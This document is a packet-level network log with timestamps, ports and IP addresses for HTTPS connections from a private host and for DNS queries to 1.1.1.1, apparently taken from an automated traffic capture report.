Nov 20, 2024 10:20:38.175385952 CET	49982	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.175389051 CET	49983	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.175393105 CET	443	49982	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.175416946 CET	443	49983	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.175801992 CET	49983	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.175808907 CET	443	49983	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.183514118 CET	443	49984	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.187634945 CET	49984	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.187635899 CET	49984	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.187659025 CET	443	49984	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.187669992 CET	443	49984	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.274912119 CET	443	49985	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.274940014 CET	443	49985	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.275340080 CET	443	49985	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.275419950 CET	49985	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.275526047 CET	49985	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.275526047 CET	49985	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.275723934 CET	443	49982	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.275753975 CET	443	49982	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.275763988 CET	49985	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.275785923 CET	443	49985	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.275819063 CET	49982	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.275829077 CET	443	49982	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.276202917 CET	49982	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.276202917 CET	49982	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.276209116 CET	443	49982	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.276233912 CET	49982	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.276401043 CET	443	49982	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.276442051 CET	443	49982	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.277167082 CET	443	49983	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.277199984 CET	443	49983	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.277236938 CET	49982	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.277475119 CET	443	49983	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.277508020 CET	49983	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.278682947 CET	49983	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.278683901 CET	49983	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.279694080 CET	49987	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.279695034 CET	49983	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.279716015 CET	443	49983	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.279726028 CET	443	49987	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.281023026 CET	49989	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.281024933 CET	49988	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.281061888 CET	443	49988	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.281061888 CET	443	49989	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.281141043 CET	49988	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.281143904 CET	49987	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.281291008 CET	49988	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.281295061 CET	49989	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.281301022 CET	443	49988	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.281331062 CET	49989	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.281338930 CET	443	49989	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.281476974 CET	49987	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.281496048 CET	443	49987	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.293529987 CET	443	49984	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.293562889 CET	443	49984	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.293580055 CET	443	49984	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.294017076 CET	49984	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.294040918 CET	443	49984	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.294213057 CET	49984	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.382817984 CET	443	49984	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.382898092 CET	443	49984	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.383091927 CET	49984	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.383091927 CET	49984	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.386691093 CET	49984	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.386691093 CET	49990	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.386692047 CET	49984	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.386728048 CET	443	49984	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.386734009 CET	443	49990	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.386746883 CET	443	49984	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.387095928 CET	49990	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.387095928 CET	49990	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.387126923 CET	443	49990	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.803268909 CET	443	49986	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.804006100 CET	49986	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.804049969 CET	443	49986	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.804512024 CET	49986	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.804518938 CET	443	49986	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.911921978 CET	443	49986	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.911950111 CET	443	49986	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.911967039 CET	443	49986	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.912256956 CET	49986	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.912296057 CET	443	49986	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.912350893 CET	49986	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.933784962 CET	443	49988	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.934299946 CET	49988	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.934320927 CET	443	49988	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.934777021 CET	49988	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.934782028 CET	443	49988	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.964139938 CET	443	49989	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.964687109 CET	49989	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.964716911 CET	443	49989	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.965297937 CET	49989	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.965303898 CET	443	49989	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.998478889 CET	443	49986	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.998557091 CET	443	49986	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.998622894 CET	49986	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.998660088 CET	443	49986	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.998730898 CET	443	49986	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.998805046 CET	49986	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.998805046 CET	49986	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.998805046 CET	49986	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.998914003 CET	49986	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.998938084 CET	443	49986	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:38.998951912 CET	49986	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:38.998960018 CET	443	49986	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.002358913 CET	49991	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.002393961 CET	443	49991	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.002485037 CET	49991	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.002669096 CET	49991	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.002677917 CET	443	49991	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.039386034 CET	443	49988	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.039417982 CET	443	49988	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.039511919 CET	443	49988	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.039511919 CET	49988	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.039675951 CET	49988	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.039819002 CET	49988	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.039832115 CET	443	49988	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.039855003 CET	49988	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.039860010 CET	443	49988	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.043384075 CET	49992	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.043433905 CET	443	49992	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.043544054 CET	49992	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.043725967 CET	49992	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.043740988 CET	443	49992	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.055416107 CET	443	49990	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.056082964 CET	49990	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.056103945 CET	443	49990	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.056577921 CET	49990	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.056585073 CET	443	49990	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.071157932 CET	443	49989	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.071392059 CET	443	49989	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.071464062 CET	49989	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.071741104 CET	49989	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.071742058 CET	49989	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.071763039 CET	443	49989	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.071775913 CET	443	49989	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.075139999 CET	49993	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.075181961 CET	443	49993	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.075285912 CET	49993	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.075480938 CET	49993	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.075488091 CET	443	49993	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.162271976 CET	443	49990	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.162343979 CET	443	49990	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.162542105 CET	49990	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.164190054 CET	49990	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.164218903 CET	443	49990	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.164237022 CET	49990	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.164242029 CET	443	49990	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.167253017 CET	49994	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.167305946 CET	443	49994	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.167399883 CET	49994	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.167567015 CET	49994	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.167583942 CET	443	49994	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.648178101 CET	443	49991	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.648876905 CET	49991	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.648910999 CET	443	49991	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.649578094 CET	49991	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.649585009 CET	443	49991	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.688029051 CET	443	49992	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.688591003 CET	49992	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.688676119 CET	443	49992	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.689100981 CET	49992	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.689115047 CET	443	49992	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.714787960 CET	443	49993	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.715341091 CET	49993	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.715370893 CET	443	49993	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.715908051 CET	49993	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.715914011 CET	443	49993	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.749747038 CET	443	49991	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.749927044 CET	443	49991	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.749994993 CET	49991	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.750178099 CET	49991	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.750200987 CET	443	49991	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.750215054 CET	49991	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.750221014 CET	443	49991	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.753746033 CET	49995	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.753787041 CET	443	49995	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.753853083 CET	49995	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.754034042 CET	49995	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.754045963 CET	443	49995	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.788367033 CET	443	49992	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.788470030 CET	443	49992	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.788522005 CET	49992	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.788670063 CET	49992	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.788696051 CET	443	49992	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.788713932 CET	49992	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.788721085 CET	443	49992	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.791912079 CET	49996	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.791994095 CET	443	49996	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.792092085 CET	49996	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.792304993 CET	49996	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.792330980 CET	443	49996	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.810386896 CET	443	49994	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.810970068 CET	49994	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.811009884 CET	443	49994	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.811561108 CET	49994	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.811569929 CET	443	49994	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.819977999 CET	443	49993	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.820163965 CET	443	49993	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.820219040 CET	49993	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.820261002 CET	443	49993	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.820300102 CET	443	49993	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.820343018 CET	49993	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.820388079 CET	49993	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.820419073 CET	443	49993	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.820466042 CET	49993	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.820480108 CET	443	49993	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.823455095 CET	49997	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.823494911 CET	443	49997	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.823555946 CET	49997	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.823730946 CET	49997	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.823739052 CET	443	49997	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.916685104 CET	443	49994	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.916769028 CET	443	49994	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.916817904 CET	49994	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.917076111 CET	49994	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.917104006 CET	443	49994	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:39.917121887 CET	49994	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:39.917129993 CET	443	49994	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.403104067 CET	443	49995	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.403635979 CET	49995	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:40.403662920 CET	443	49995	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.404093027 CET	49995	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:40.404098034 CET	443	49995	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.436285973 CET	443	49996	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.436799049 CET	49996	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:40.436862946 CET	443	49996	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.437248945 CET	49996	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:40.437261105 CET	443	49996	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.476861954 CET	443	49997	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.477462053 CET	49997	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:40.477490902 CET	443	49997	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.477912903 CET	49997	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:40.477920055 CET	443	49997	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.505774021 CET	443	49995	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.506017923 CET	443	49995	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.506362915 CET	49995	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:40.506762028 CET	49995	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:40.506808996 CET	443	49995	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.506838083 CET	49995	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:40.506853104 CET	443	49995	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.538043022 CET	443	49996	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.538163900 CET	443	49996	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.538234949 CET	49996	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:40.538342953 CET	49996	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:40.538383961 CET	443	49996	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.538412094 CET	49996	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:40.538428068 CET	443	49996	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.581320047 CET	443	49997	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.581403971 CET	443	49997	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.581464052 CET	49997	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:40.581651926 CET	49997	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:40.581681967 CET	443	49997	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:40.581700087 CET	49997	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:40.581705093 CET	443	49997	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:42.272306919 CET	443	49987	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:42.276370049 CET	49987	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:42.276458025 CET	443	49987	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:42.276777983 CET	49987	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:42.276793003 CET	443	49987	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:42.382128954 CET	443	49987	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:42.382200956 CET	443	49987	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:42.382342100 CET	49987	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:42.382415056 CET	443	49987	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:42.382466078 CET	443	49987	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:42.382518053 CET	49987	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:42.382519007 CET	49987	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:42.382622957 CET	49987	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:42.382662058 CET	443	49987	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:42.382688999 CET	49987	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:20:42.382704020 CET	443	49987	13.107.246.45	192.168.2.9
Nov 20, 2024 10:20:46.225522995 CET	49705	80	192.168.2.9	199.232.214.172
Nov 20, 2024 10:20:46.231157064 CET	80	49705	199.232.214.172	192.168.2.9
Nov 20, 2024 10:20:46.231229067 CET	49705	80	192.168.2.9	199.232.214.172
Nov 20, 2024 10:20:47.790400982 CET	49998	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:47.790446043 CET	443	49998	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:47.790514946 CET	49998	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:47.791143894 CET	49998	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:47.791157007 CET	443	49998	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:48.390196085 CET	443	49998	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:48.390362024 CET	49998	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:48.392184973 CET	49998	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:48.392195940 CET	443	49998	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:48.393280983 CET	443	49998	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:48.395138979 CET	49998	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:48.439337969 CET	443	49998	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:48.594393015 CET	443	49998	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:48.594422102 CET	443	49998	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:48.594435930 CET	443	49998	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:48.594628096 CET	49998	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:48.594666004 CET	443	49998	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:48.594723940 CET	49998	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:48.596898079 CET	443	49998	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:48.596939087 CET	443	49998	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:48.596996069 CET	49998	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:48.596997023 CET	443	49998	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:48.597048998 CET	49998	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:48.597934008 CET	49998	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:48.597953081 CET	443	49998	20.12.23.50	192.168.2.9
Nov 20, 2024 10:20:48.597966909 CET	49998	443	192.168.2.9	20.12.23.50
Nov 20, 2024 10:20:48.597971916 CET	443	49998	20.12.23.50	192.168.2.9
Nov 20, 2024 10:21:02.887806892 CET	50000	443	192.168.2.9	142.250.186.164
Nov 20, 2024 10:21:02.887850046 CET	443	50000	142.250.186.164	192.168.2.9
Nov 20, 2024 10:21:02.887933969 CET	50000	443	192.168.2.9	142.250.186.164
Nov 20, 2024 10:21:02.888153076 CET	50000	443	192.168.2.9	142.250.186.164
Nov 20, 2024 10:21:02.888164043 CET	443	50000	142.250.186.164	192.168.2.9
Nov 20, 2024 10:21:03.539256096 CET	443	50000	142.250.186.164	192.168.2.9
Nov 20, 2024 10:21:03.539573908 CET	50000	443	192.168.2.9	142.250.186.164
Nov 20, 2024 10:21:03.539597988 CET	443	50000	142.250.186.164	192.168.2.9
Nov 20, 2024 10:21:03.540050983 CET	443	50000	142.250.186.164	192.168.2.9
Nov 20, 2024 10:21:03.540534973 CET	50000	443	192.168.2.9	142.250.186.164
Nov 20, 2024 10:21:03.540601015 CET	443	50000	142.250.186.164	192.168.2.9
Nov 20, 2024 10:21:03.584003925 CET	50000	443	192.168.2.9	142.250.186.164
Nov 20, 2024 10:21:13.449326038 CET	443	50000	142.250.186.164	192.168.2.9
Nov 20, 2024 10:21:13.449420929 CET	443	50000	142.250.186.164	192.168.2.9
Nov 20, 2024 10:21:13.449515104 CET	50000	443	192.168.2.9	142.250.186.164
Nov 20, 2024 10:21:15.411494017 CET	50000	443	192.168.2.9	142.250.186.164
Nov 20, 2024 10:21:15.411576986 CET	443	50000	142.250.186.164	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 10:19:58.635909081 CET	53	63673	1.1.1.1	192.168.2.9
Nov 20, 2024 10:19:58.642021894 CET	53	59901	1.1.1.1	192.168.2.9
Nov 20, 2024 10:19:59.829232931 CET	53	63170	1.1.1.1	192.168.2.9
Nov 20, 2024 10:20:00.405081034 CET	57466	53	192.168.2.9	1.1.1.1
Nov 20, 2024 10:20:00.405220032 CET	50477	53	192.168.2.9	1.1.1.1
Nov 20, 2024 10:20:00.414340973 CET	53	57466	1.1.1.1	192.168.2.9
Nov 20, 2024 10:20:00.415071964 CET	53	50477	1.1.1.1	192.168.2.9
Nov 20, 2024 10:20:01.768560886 CET	55714	53	192.168.2.9	1.1.1.1
Nov 20, 2024 10:20:01.768785000 CET	58508	53	192.168.2.9	1.1.1.1
Nov 20, 2024 10:20:02.013782024 CET	53	55714	1.1.1.1	192.168.2.9
Nov 20, 2024 10:20:02.018865108 CET	53	58508	1.1.1.1	192.168.2.9
Nov 20, 2024 10:20:02.819945097 CET	63301	53	192.168.2.9	1.1.1.1
Nov 20, 2024 10:20:02.820612907 CET	55534	53	192.168.2.9	1.1.1.1
Nov 20, 2024 10:20:02.828763008 CET	53	63301	1.1.1.1	192.168.2.9
Nov 20, 2024 10:20:02.830064058 CET	53	55534	1.1.1.1	192.168.2.9
Nov 20, 2024 10:20:03.938379049 CET	57408	53	192.168.2.9	1.1.1.1
Nov 20, 2024 10:20:03.938594103 CET	63013	53	192.168.2.9	1.1.1.1
Nov 20, 2024 10:20:03.996597052 CET	57808	53	192.168.2.9	1.1.1.1
Nov 20, 2024 10:20:03.996941090 CET	56755	53	192.168.2.9	1.1.1.1
Nov 20, 2024 10:20:04.004523039 CET	53	57808	1.1.1.1	192.168.2.9
Nov 20, 2024 10:20:04.004724026 CET	53	56755	1.1.1.1	192.168.2.9
Nov 20, 2024 10:20:04.078553915 CET	53	58826	1.1.1.1	192.168.2.9
